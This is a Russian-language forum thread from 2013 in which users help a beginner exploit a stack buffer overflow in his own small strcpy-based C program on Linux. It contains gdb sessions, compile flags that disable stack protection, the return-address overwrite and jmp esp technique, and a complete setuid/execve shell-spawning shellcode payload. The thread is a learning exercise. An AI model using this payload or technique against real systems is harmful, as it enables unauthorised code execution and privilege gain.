переполнение буфера: передача управление шеллкоду в linux

Discussion in 'Реверсинг' started by Charley, 30 Jun 2013.

  1. Charley

    Charley New Member

    Joined:
    2 Aug 2012
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Пытаюсь передать управление шеллу. Есть исходник:


    HTML:
    Код:
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char* argv[])
    {
        char buffer[500];
        strcpy(buffer, argv[1]); //небезопасная функция
    return 0;
    }
    В dbg запускаю run $(python -c 'print "\x41" * 512 + "\x01\x01\x01\x01" + "шел код"
    Дебагер пишет вышло исключение eip=01010101. Как найти начало шелл кода?
     
  2. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Откуда взялось "\x41" * 512?
     
    _________________________
  3. Charley

    Charley New Member

    Joined:
    2 Aug 2012
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    это мусор, чтобы добраться до адреса возврата и перезаписать его \x01\x01\x01\x01
     
  4. taha

    taha Elder - Старейшина

    Joined:
    20 Aug 2006
    Messages:
    399
    Likes Received:
    330
    Reputations:
    251
    буфер я уменьшил, с 500 байтами не оч удобно

    компилируем
    gcc -Wall -m64 -fno-stack-protector -z execstack -g -o ./buff ./buffer.c
    execstack -s ./buff

    gdb ./buff

    Смотрим код и определяем сколько \x41 потребуется
    Code:
    (gdb) disassemble main
    Dump of assembler code for function main:
       0x000000000040052c <+0>:	push   %rbp
       0x000000000040052d <+1>:	mov    %rsp,%rbp
       0x0000000000400530 <+4>:	sub    $0x30,%rsp
       0x0000000000400534 <+8>:	mov    %edi,-0x24(%rbp)
       0x0000000000400537 <+11>:	mov    %rsi,-0x30(%rbp)
       0x000000000040053b <+15>:	mov    -0x30(%rbp),%rax
       0x000000000040053f <+19>:	add    $0x8,%rax
       0x0000000000400543 <+23>:	mov    (%rax),%rdx
       0x0000000000400546 <+26>:	lea    -0x20(%rbp),%rax
       0x000000000040054a <+30>:	mov    %rdx,%rsi
       0x000000000040054d <+33>:	mov    %rax,%rdi
       0x0000000000400550 <+36>:	callq  0x400410 <strcpy@plt>
       0x0000000000400555 <+41>:	mov    $0x0,%eax
       0x000000000040055a <+46>:	leaveq 
       0x000000000040055b <+47>:	retq  
    
    Ставим точку останова на main
    Code:
    (gdb) break main
    Breakpoint 1 at 0x40053b: file ./buffer.c, line 7.
    
    Запускаем
    Code:
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXX
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/taha/buff AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXX
    
    Breakpoint 1, main (argc=2, argv=0x7fffffffe298) at ./buffer.c:7
    7	    strcpy(buffer, argv[1]); //небезопасная функция
    
    Шагаем через функцию копирования
    Code:
    (gdb) next
    8	return 0;
    
    И еще через две инструкции
    Code:
    (gdb) ni 2
    0x000000000040055b	9	}
    (gdb) 
    
    Мы возле retq, самое время посмотреть, где у нас должен быть шелкод, это делается командой:
    Code:
    (gdb) x/16x $rsp-40
    0x7fffffffe190:	0x41414141	0x41414141	0x41414141	0x41414141
    0x7fffffffe1a0:	0x41414141	0x41414141	0x41414141	0x41414141
    0x7fffffffe1b0:	0x41414141	0x41414141	0x58585858	0x00005858
    0x7fffffffe1c0:	0x00000000	0x00000000	0xffffe298	0x00007fff
    
    Вот и всё теперь часть мусора убираем, копипастим любимую начинку + пишем найденый нами адрес и шелкод готов
    С шелкодами мне ковыряться лень и адреса подбирать =\
     
  5. Charley

    Charley New Member

    Joined:
    2 Aug 2012
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Зачем выходить из функции strcpy? Когда я пытаюсь поменять адрес возврата из функции strcpy. Я делал так: узнал адрес esp при крушении программы, вставил ее вместо "\x01\x01\x01\x01". И шелл заработал!
     
  6. taha

    taha Elder - Старейшина

    Joined:
    20 Aug 2006
    Messages:
    399
    Likes Received:
    330
    Reputations:
    251
    Это не важно.. я немного не так делал)) на ночь глядя тупанул у main адрес возврата подменял... Не суть

    Тебе нужна команда
    последняя x - вывести в шеснадцатиричном виде
    можно заменить на i - тогда будет дизасм
    также кол-во можно менять от 1 до .....
    к $rsp можно прибавлять и вычетать, в стеке будет твой шелкод, узнаешь адрес подставишь вместо "\x01\x01\x01\x01"
     
  7. Charley

    Charley New Member

    Joined:
    2 Aug 2012
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Еще вопрос: почему мы должны указывать на конец шелла? Ведь строка поданная как аргумент является перевертышем машинных команд в hex виде. Сл-но я должен указать его истинное начало, т.е с правого конца.
     
  8. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    а чего там смотреть, есть локальная переменная char buffer[500];
    смотри вывод асма - под нее выделится в стеке место типа sub esp, 500

    образно стек (до вызова strcpy) будет выглядеть:
    ESP->
    abababab
    abababab(500байт+выравнивание)
    saved_EBP
    retEIP (в сишный пролог)
    arg0 (argc)
    arg1 (argv)


    в классическом варианте считай что переписать надо размер буфера + 4 байта(предыдущий фрейм) + 4 байта(адрес возврата)
    всё верно, тыж переписал и буфер и всё что за ним было (сохранённый ebp и адрес возврата), и по выходу из main ты и попадаешь в указанное место.

    но в ESP будет адрес начала этого массива, поэтому адрес возврата можешь взять из системного простраство, то есть любой адрес по которому находится инструкция jmp esp. т.о. шеллкод получит управление на своё начало.
    чтобы узнать адрес - call $+5 (E8 00 00 00 00); pop eax.
     
    #8 sn0w, 2 Jul 2013
    Last edited: 2 Jul 2013
  9. Charley

    Charley New Member

    Joined:
    2 Aug 2012
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Запускаю в gdb прогу которая выше так
    run $(python -c 'print "\x41" * 22 + "\x01\x01\x01\x01" + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    зате ввожу:
    x/20x $esp-20
    показывет это:
    0xbffff50c: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbffff51c: 0x01010101 0xdb31c031 0x80cd17b0 0x6850c031
    и т.д.
    т.е. шелл код начинается по адресу 0xbffff520. Но я подставил \x20\xf5\xff\bf вместо \x01\x01\x01\x01 и шелл код не заработал. Почему? :confused:
     
  10. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    это с отладчиком надо делать, в слепую тока хипспреи делают
     
  11. Charley

    Charley New Member

    Joined:
    2 Aug 2012
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    как с тобой связаться? может расскажешь детали
     
  12. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    вот видево (линупса у меня нет но принцип одинаковый)
    https://forum.antichat.ru/thread389107.html
     
  13. kvaka

    kvaka New Member

    Joined:
    5 Jun 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    http://www.exploit-db.com/wp-content/themes/exploit/docs/28553.pdf